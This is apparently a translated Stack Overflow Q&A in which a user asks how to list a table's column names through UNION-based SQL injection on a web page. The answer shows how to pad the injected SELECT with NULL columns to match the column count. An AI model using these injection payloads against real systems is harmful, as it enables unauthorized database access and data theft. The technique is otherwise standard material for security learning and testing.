我正在尝试使用以下修改后的SQL语句从遗留系统中获取列名:
SELECT *
FROM drinks
WHERE drinkname='smirnoff'
UNION
SELECT COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'drinks'但是网页抛出了一个错误,说它无法执行我修改后的查询。
如何通过sql注入获取drinks表的字段名?
发布于 2019-03-02 06:02:46
在任何UNION查询中,与UNION组合的每个SELECT中的列数必须相同。换句话说,以下是一个错误,因为列数不同:
SELECT a, b, c FROM table1
UNION
SELECT a, b FROM table1在执行SQL注入时,您可能不知道要利用的查询的select-list中的列数。根据需要添加更多NULL列。只要继续尝试,直到你得到成功的东西。
SELECT * FROM drinks WHERE drinkname='smirnoff'
UNION
SELECT COLUMN_NAME, NULL, NULL, NULL, ...
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'drinks'这可能看起来冗长乏味且容易出错。
但是,实施SQL注入攻击的犯罪分子动机很强。
https://stackoverflow.com/questions/54952727
复制相似问题